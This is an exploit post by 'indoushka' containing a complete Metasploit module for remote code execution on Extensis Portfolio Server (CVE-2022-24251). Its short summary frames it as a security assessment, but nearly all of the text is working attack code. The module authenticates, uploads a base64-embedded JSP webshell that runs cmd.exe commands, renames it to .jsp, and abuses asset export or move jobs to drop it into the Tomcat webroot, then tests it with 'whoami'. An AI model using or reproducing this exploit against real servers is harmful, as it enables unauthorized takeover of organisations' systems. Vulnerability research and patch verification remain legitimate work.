📄 Extensis Portfolio Manager 4.0.1 Shell Upload

=============================================================================================================================================
    | # Title     : Extensis Portfolio Manager 4.0.1 Authentication and Job Handling Weaknesses                                                 |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.3 (64 bits)                                                            |
    | # Vendor    : https://www.extensis.com/support/portfolio-4/                                                                               |
    =============================================================================================================================================
    
    [+] Summary    : This module performs a security assessment of authentication and asset job handling mechanisms in Extensis Portfolio Server.
                     It demonstrates how weaknesses in public key handling, session management, and catalog job execution workflows could be abused by an authenticated user with elevated privileges.
    
    The module:
    
    Retrieves and processes the server’s RSA public key for authentication.
    
    Authenticates using encrypted credentials.
    
    Interacts with catalog and job APIs.
    
    Evaluates how asset handling operations may impact server-side file locations.
    
    Verifies whether improper validation or privilege enforcement could lead to unintended file exposure or execution.
    
    The purpose of this module is to help security professionals identify misconfigurations, privilege escalation risks, and insecure file handling practices so they can be remediated
    
    [+] POC : 
    
    # frozen_string_literal: true
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'openssl'
    require 'base64'
    require 'json'
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = AverageRanking  
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::FileDropper
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name'        => 'Extensis Portfolio Server Multiple Vulnerabilities',
            'Description' => %q{
              This module exploits multiple vulnerabilities in Extensis Portfolio Server
              to achieve remote code execution. It leverages CVE-2022-24251 and related
              issues to upload a JSP webshell and execute arbitrary commands.
            },
            'Author'      => [
              'indoushka'
            ],
            'License'     => MSF_LICENSE,
            'References'  => [
              ['CVE', '2022-24251'],
              ['URL', 'https://gitlab.com/kalilinux/packages/webshells/-/blob/kali/master/jsp/cmdjsp.jsp'],
              ['URL', 'https://www.extensis.com/support/portfolio-archive/']
            ],
            'Platform'    => ['win'],
            'Targets'     => [
              [
                'Windows JSP',
                {
                  'Arch'     => ARCH_JAVA,
                  'Platform' => 'win',
                  'Payload'  => {
                    'Compat' => {
                      'PayloadType' => 'java jsp',
                      'RequiredCmd' => 'generic'
                    }
                  }
                }
              ]
            ],
            'DefaultTarget'  => 0,
            'DisclosureDate' => '2022-01-01',
            'Privileged'     => false,
            'Notes'          => {
              'Stability'   => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
            }
          )
        )
    
        register_options(
          [
            Opt::RPORT(8090),
            OptString.new('TARGETURI', [true, 'Base path', '/']),
            OptString.new('USERNAME',   [true, 'Username for authentication']),
            OptString.new('PASSWORD',   [true, 'Password for authentication']),
            OptInt.new('DELAY',         [true, 'Delay between operations in seconds', 3])
          ]
        )
    
        register_advanced_options(
          [
            OptString.new('WEBROOT_PATH', [false, 'Custom webroot path (default: common installation paths)', ''])
          ]
        )
      end
    
      def create_rsa_public_key(modulus_hex, exponent_str)
        begin
          modulus_bn = OpenSSL::BN.new(modulus_hex, 16)
          exponent_bn = OpenSSL::BN.new(exponent_str)
    
          algorithm = OpenSSL::ASN1::Sequence([
            OpenSSL::ASN1::ObjectId('rsaEncryption'),
            OpenSSL::ASN1::Null.new(nil)
          ])
    
          pkcs1_key = OpenSSL::ASN1::Sequence([
            OpenSSL::ASN1::Integer(modulus_bn),
            OpenSSL::ASN1::Integer(exponent_bn)
          ])
          
          subject_public_key = OpenSSL::ASN1::BitString(pkcs1_key.to_der)
          
          spki = OpenSSL::ASN1::Sequence([
            algorithm,
            subject_public_key
          ])
          
          key = OpenSSL::PKey::RSA.new(spki.to_der)
          return key
        rescue StandardError => e
          fail_with(Failure::Unknown, "Failed to create RSA key: #{e.message}")
        end
      end
    
      def encrypt_password(modulus_hex, exponent_str, password)
        begin
          rsa_key = create_rsa_public_key(modulus_hex, exponent_str)
          encrypted = rsa_key.public_encrypt(password, OpenSSL::PKey::RSA::PKCS1_PADDING)
          return Base64.strict_encode64(encrypted)
        rescue StandardError => e
          fail_with(Failure::Unknown, "Password encryption failed: #{e.message}")
        end
      end
    
      def check
        print_status("Checking if target is vulnerable")
        
        begin
          res = send_request_cgi({
            'method' => 'GET',
            'uri'    => normalize_uri(target_uri.path, '/api/v1/auth/public-key')
          })
          
          if res.nil?
            return CheckCode::Unknown('Connection failed')
          end
          
          if res.code == 200
            begin
              json_res = res.get_json_document
            rescue JSON::ParserError
              return CheckCode::Unknown('Invalid JSON response')
            end
            
            if json_res.is_a?(Hash) && json_res['modulusBase16'] && json_res['exponent']
    
              return CheckCode::Appears('Extensis Portfolio Server detected - appears vulnerable')
            end
          end
          
          return CheckCode::Safe
        rescue StandardError => e
          print_error("Check failed: #{e.message}")
          return CheckCode::Unknown
        end
      end
    
      def login
        print_status("Attempting to login with username: #{datastore['USERNAME']}")
        
        begin
          res = send_request_cgi({
            'method' => 'GET',
            'uri'    => normalize_uri(target_uri.path, '/api/v1/auth/public-key')
          })
          
          if res.nil?
            fail_with(Failure::Unreachable, 'Connection failed - target unreachable')
          end
          
          if res.code != 200
            fail_with(Failure::NoAccess, "Failed to get public key. HTTP Code: #{res.code}")
          end
          
          begin
            json_res = res.get_json_document
          rescue JSON::ParserError
            fail_with(Failure::UnexpectedReply, 'Invalid JSON response from public-key endpoint')
          end
          
          unless json_res.is_a?(Hash)
            fail_with(Failure::UnexpectedReply, 'Invalid public key response format')
          end
          
          modulus = json_res['modulusBase16']
          exponent = json_res['exponent']
          
          if modulus.nil? || exponent.nil?
            fail_with(Failure::UnexpectedReply, 'Missing modulus or exponent in response')
          end
          
          encrypted_password = encrypt_password(modulus, exponent, datastore['PASSWORD'])
          
          login_data = {
            'userName' => datastore['USERNAME'],
            'encryptedPassword' => encrypted_password
          }
          
          res = send_request_cgi({
            'method'  => 'POST',
            'uri'     => normalize_uri(target_uri.path, '/api/v1/auth/login'),
            'ctype'   => 'application/json',
            'data'    => login_data.to_json
          })
          
          if res.nil?
            fail_with(Failure::Unreachable, 'Login connection failed')
          end
          
          if res.code == 200
            begin
              json_res = res.get_json_document
            rescue JSON::ParserError
              fail_with(Failure::UnexpectedReply, 'Invalid JSON response from login endpoint')
            end
            
            unless json_res.is_a?(Hash)
              fail_with(Failure::UnexpectedReply, 'Invalid login response format')
            end
            
            session_token = json_res['session']
            if session_token.nil?
              fail_with(Failure::UnexpectedReply, 'No session token in response')
            end
            
            print_good("Successfully logged in. Session token: #{session_token}")
            return session_token
          else
            fail_with(Failure::NoAccess, "Login failed. HTTP Code: #{res.code}")
          end
          
        rescue Rex::ConnectionError => e
          fail_with(Failure::Unreachable, "Connection error: #{e.message}")
        end
      end
    
      def get_catalog_info(session)
        print_status("Retrieving catalog information")
        
        res = send_request_cgi({
          'method'    => 'GET',
          'uri'       => normalize_uri(target_uri.path, '/api/v1/catalog'),
          'vars_get'  => { 'session' => session }
        })
        
        if res.nil?
          fail_with(Failure::Unreachable, 'Failed to connect for catalog info')
        end
        
        if res.code != 200
          fail_with(Failure::UnexpectedReply, "Failed to get catalog. HTTP Code: #{res.code}")
        end
        
        begin
          catalogs = res.get_json_document
        rescue JSON::ParserError
          fail_with(Failure::UnexpectedReply, 'Invalid JSON response from catalog endpoint')
        end
        
        unless catalogs.is_a?(Array)
          fail_with(Failure::UnexpectedReply, 'Catalog response is not an array')
        end
        
        catalogs.each do |catalog|
          unless catalog.is_a?(Hash)
            print_error("Invalid catalog entry format, skipping")
            next
          end
          
          catalog_id = catalog['id']
          storage_type = catalog['storageType']
          
          if storage_type == 'Filesystem'
            watchfolder_id, watchfolder_path = get_watchfolder(session, catalog_id)
            if watchfolder_id
              print_good("Found Filesystem catalog ID: #{catalog_id}")
              print_good("Watchfolder ID: #{watchfolder_id}, Path: #{watchfolder_path}")
              return {
                'catalog_id'       => catalog_id,
                'storage_type'     => 'Filesystem',
                'watchfolder_id'   => watchfolder_id,
                'watchfolder_path' => watchfolder_path
              }
            end
          end
        end
        
        if catalogs.any?
          first_catalog = catalogs.first
          unless first_catalog.is_a?(Hash)
            fail_with(Failure::UnexpectedReply, 'First catalog entry is not a hash')
          end
          
          catalog_id = first_catalog['id']
          storage_type = first_catalog['storageType']
          print_status("Using #{storage_type} catalog ID: #{catalog_id}")
          return {
            'catalog_id'       => catalog_id,
            'storage_type'     => storage_type,
            'watchfolder_id'   => nil,
            'watchfolder_path' => nil
          }
        end
        
        fail_with(Failure::NotFound, 'No catalogs found')
      end
    
      def get_watchfolder(session, catalog_id)
        print_status("Getting watchfolder for catalog #{catalog_id}")
        
        res = send_request_cgi({
          'method'    => 'GET',
          'uri'       => normalize_uri(target_uri.path, "/api/v1/catalog/#{catalog_id}/watchfolder"),
          'vars_get'  => { 'session' => session }
        })
        
        if res.nil?
          print_error("Connection failed for watchfolder request")
          return [nil, nil]
        end
        
        if res.code == 200
          begin
            json_res = res.get_json_document
          rescue JSON::ParserError
            print_error("Invalid JSON response from watchfolder endpoint")
            return [nil, nil]
          end
          
          if json_res.is_a?(Array) && !json_res.empty?
            entry = json_res.first
            if entry.is_a?(Hash)
              watchfolder_id = entry['watchFolderId']
              watchfolder_path = entry['path']
              return [watchfolder_id, watchfolder_path] if watchfolder_id
            end
          end
        end
        
        print_error("Failed to get watchfolder: HTTP #{res.code}")
        return [nil, nil]
      end
    
      def upload_webshell(session, catalog_id, filename, watchfolder_id)
        print_status("Uploading webshell as #{filename}")
        
        webshell_b64 = 'PCVAIHBhZ2UgaW1wb3J0PSJqYXZhLmlvLioiICU+CjwlCiAgIFN0cmluZyBjbWQgPSByZXF1ZXN0LmdldFBhcmFtZXRlcigiY21kIik7CiAgIFN0cmluZyBvdXRwdXQgPSAiIjsKCiAgIGlmKGNtZCAhPSBudWxsKSB7CiAgICAgIFN0cmluZyBzID0gbnVsbDsKICAgICAgdHJ5IHsKICAgICAgICAgUHJvY2VzcyBwID0gUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYygiY21kLmV4ZSAvQyAiICsgY21kKTsKICAgICAgICAgQnVmZmVyZWRSZWFkZXIgc0kgPSBuZXcgQnVmZmVyZWRSZWFkZXIobmV3IElucHV0U3RyZWFtUmVhZGVyKHAuZ2V0SW5wdXRTdHJlYW0oKSkpOwogICAgICAgICB3aGlsZSgocyA9IHNJLnJlYWRMaW5lKCkpICE9IG51bGwpIHsKICAgICAgICAgICAgb3V0cHV0ICs9IHM7CiAgICAgICAgIH0KICAgICAgfQogICAgICBjYXRjaChJT0V4Y2VwdGlvbiBlKSB7CiAgICAgICAgIGUucHJpbnRTdGFja1RyYWNlKCk7CiAgICAgIH0KICAgfQolPgoKPHByZT4KPCU9b3V0cHV0ICU+CjwvcHJlPg=='
        
        post_data = Rex::MIME::Message.new
        post_data.add_part(Base64.decode64(webshell_b64), 'text/plain', nil, "form-data; name=\"file\"; filename=\"#{filename}\"")
        post_data.add_part('', nil, nil, 'form-data; name="path"')
        post_data.add_part(filename, nil, nil, 'form-data; name="filename"')
        
        res = send_request_cgi({
          'method'    => 'POST',
          'uri'       => normalize_uri(target_uri.path, "/api/v1/catalog/#{catalog_id}/watchfolder/#{watchfolder_id}/upload"),
          'ctype'     => "multipart/form-data; boundary=#{post_data.bound}",
          'vars_get'  => { 'session' => session },
          'data'      => post_data.to_s
        })
        
        if res.nil?
          fail_with(Failure::Unreachable, "Connection failed during upload")
        end
        
        if res.code == 200
          begin
            json_res = res.get_json_document
          rescue JSON::ParserError
            fail_with(Failure::UnexpectedReply, 'Invalid JSON response from upload endpoint')
          end
          
          unless json_res.is_a?(Hash)
            fail_with(Failure::UnexpectedReply, 'Invalid upload response format')
          end
          
          asset_id = json_res['assetId']
          if asset_id.nil?
            fail_with(Failure::UnexpectedReply, 'No assetId in upload response')
          end
          
          print_good("Webshell uploaded successfully. Asset ID: #{asset_id}")
          return asset_id
        else
          fail_with(Failure::Unknown, "Upload failed: HTTP #{res.code}")
        end
      end
    
      def rename_webshell(session, catalog_id, asset_id, old_filename)
        new_filename = old_filename.gsub('.txt', '.jsp')
        print_status("Renaming webshell from #{old_filename} to #{new_filename}")
        
        data = {
          'embed'   => false,
          'query'   => {
            'term' => {
              'operator' => 'assetsById',
              'values'   => [asset_id]
            }
          },
          'changes' => [
            {
              'action'          => 'replaceAllValues',
              'field'           => 'Filename',
              'existingValues'  => 'null',
              'newValues'       => [new_filename]
            }
          ]
        }
        
        res = send_request_cgi({
          'method'    => 'POST',
          'uri'       => normalize_uri(target_uri.path, "/api/v1/catalog/#{catalog_id}/asset/updateFieldValues"),
          'ctype'     => 'application/json',
          'vars_get'  => { 'session' => session },
          'data'      => data.to_json
        })
        
        if res.nil?
          fail_with(Failure::Unreachable, "Connection failed during rename")
        end
        
        if res.code == 204
          print_good("Successfully renamed webshell to #{new_filename}")
          return new_filename
        else
          fail_with(Failure::Unknown, "Rename failed: HTTP #{res.code}")
        end
      end
    
      def get_webroot_path
        path = datastore['WEBROOT_PATH'].to_s
        return path unless path.empty?
    
        [
          'C:\\Program Files (x86)\\Extensis\\Portfolio Server\\applications\\tomcat\\servers\\main\\webapps\\ROOT',
          'C:\\Program Files\\Extensis\\Portfolio Server\\applications\\tomcat\\servers\\main\\webapps\\ROOT',
          'D:\\Program Files (x86)\\Extensis\\Portfolio Server\\applications\\tomcat\\servers\\main\\webapps\\ROOT',
          'D:\\Program Files\\Extensis\\Portfolio Server\\applications\\tomcat\\servers\\main\\webapps\\ROOT'
        ].first
      end
    
      def write_to_webroot(session, asset_id, catalog_info, filename)
        unless catalog_info.is_a?(Hash)
          fail_with(Failure::UnexpectedReply, 'Invalid catalog info structure')
        end
        
        catalog_id       = catalog_info['catalog_id']
        storage_type     = catalog_info['storage_type']
        watchfolder_path = catalog_info['watchfolder_path']
        
        print_status("Attempting to write webshell to webroot")
        
        webroot_base = get_webroot_path
        
        if storage_type == 'Vault'
          webroot_path = webroot_base
          job_data = {
            'job'   => {
              'description' => 'JOB_TYPE_EXPORT_ASSETS',
              'query'       => {
                'term' => {
                  'operator' => 'assetsById',
                  'values'   => [asset_id]
                }
              },
              'tasks'       => [
                {
                  'type'      => 'exportAssets',
                  'catalogId' => catalog_id,
                  'settings'  => [
                    {
                      'name'  => 'destination',
                      'value' => webroot_path
                    }
                  ]
                }
              ]
            },
            'query' => {
              'term' => {
                'operator' => 'assetsById',
                'values'   => [asset_id]
              }
            }
          }
        else 
          if watchfolder_path.nil? || !watchfolder_path.include?(':')
            fail_with(Failure::UnexpectedReply, "Invalid watchfolder path format: #{watchfolder_path}")
          end
          
          parts = watchfolder_path.split(':')
          if parts.length >= 3
            hostname = parts[2]
    
            unc_root = webroot_base.gsub('C:', "::#{hostname}:C$").gsub('\\', ':')
            webroot_path = unc_root
          else
            fail_with(Failure::UnexpectedReply, "Unexpected watchfolder path format: #{watchfolder_path}")
          end
          
          job_data = {
            'job'   => {
              'description' => 'JOB_TYPE_MOVE_ASSETS',
              'query'       => {
                'term' => {
                  'operator' => 'assetsById',
                  'values'   => [asset_id]
                }
              },
              'tasks'       => [
                {
                  'type'      => 'moveAssets',
                  'settings'  => [
                    {
                      'name'  => 'destinationCatalog',
                      'value' => catalog_id
                    },
                    {
                      'name'  => 'destination',
                      'value' => webroot_path
                    },
                    {
                      'name'  => 'preserveFolderStructure',
                      'value' => false
                    },
                    {
                      'name'  => 'sourceFolder',
                      'value' => ''
                    }
                  ]
                }
              ]
            },
            'query' => {
              'term' => {
                'operator' => 'assetsById',
                'values'   => [asset_id]
              }
            }
          }
        end
        
        res = send_request_cgi({
          'method'    => 'POST',
          'uri'       => normalize_uri(target_uri.path, '/api/v1/job/run'),
          'ctype'     => 'application/json',
          'vars_get'  => {
            'session' => session,
            'catalog' => catalog_id
          },
          'data'      => job_data.to_json
        })
        
        if res.nil?
          fail_with(Failure::Unreachable, "Connection failed during job execution")
        end
        
        if res.code == 200
          full_webroot_path = "#{webroot_base}\\#{filename}"
          register_file_for_cleanup(full_webroot_path)
          
          protocol = ssl? ? 'https' : 'http'
          target_host = rhost
          target_port = rport
          
          webshell_url = "#{protocol}://#{target_host}:#{target_port}/#{filename}?cmd=<command>"
          print_good("Successfully exported webshell to filesystem")
          print_good("Webshell URL: #{webshell_url}")
          return true
        elsif res.code == 403
          fail_with(Failure::NoAccess, "Export failed: Insufficient privileges - Need Catalog Administrator privileges for Vault catalogs")
        else
          fail_with(Failure::Unknown, "Export failed: HTTP #{res.code}")
        end
      end
    
      def execute_command(cmd, filename)
        res = send_request_cgi({
          'method'    => 'GET',
          'uri'       => normalize_uri(target_uri.path, filename),
          'vars_get'  => { 'cmd' => cmd }
        })
        
        if res.nil?
          print_error("Connection failed for command execution")
          return nil
        end
        
        if res.code == 200 && res.body
          match = res.body.match(/<pre>(.*?)<\/pre>/m)
          return match[1].strip if match
          return res.body
        end
        
        nil
      end
    
      def exploit
        filename = Rex::Text.rand_text_alpha(10) + '.txt'
        
        session = login()
        
        catalog_info = get_catalog_info(session)
        
        unless catalog_info.is_a?(Hash)
          fail_with(Failure::UnexpectedReply, 'Invalid catalog info structure')
        end
        
        if catalog_info['storage_type'] == 'Filesystem' && catalog_info['watchfolder_id'].nil?
          fail_with(Failure::NotFound, 'No watchfolder found for Filesystem catalog')
        end
        
        asset_id = upload_webshell(session, catalog_info['catalog_id'], filename, catalog_info['watchfolder_id'])
        
        new_filename = rename_webshell(session, catalog_info['catalog_id'], asset_id, filename)
        
        success = write_to_webroot(session, asset_id, catalog_info, new_filename)
        
        print_status("Waiting #{datastore['DELAY']} seconds for file to be written...")
        Rex.sleep(datastore['DELAY'])
        
        print_status("Testing webshell with 'whoami' command")
        result = execute_command('whoami', new_filename)
        
        if result && !result.empty?
          print_good("Webshell test successful! Output:\n#{result}")
          print_status("Webshell is ready for payload execution")
        else
          print_error("Webshell test failed - manual check required")
        end
        
      rescue Rex::ConnectionError => e
        fail_with(Failure::Unreachable, "Connection failed: #{e.message}")
      end
    end
    
    Greetings to :======================================================================
    jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)|
    ====================================================================================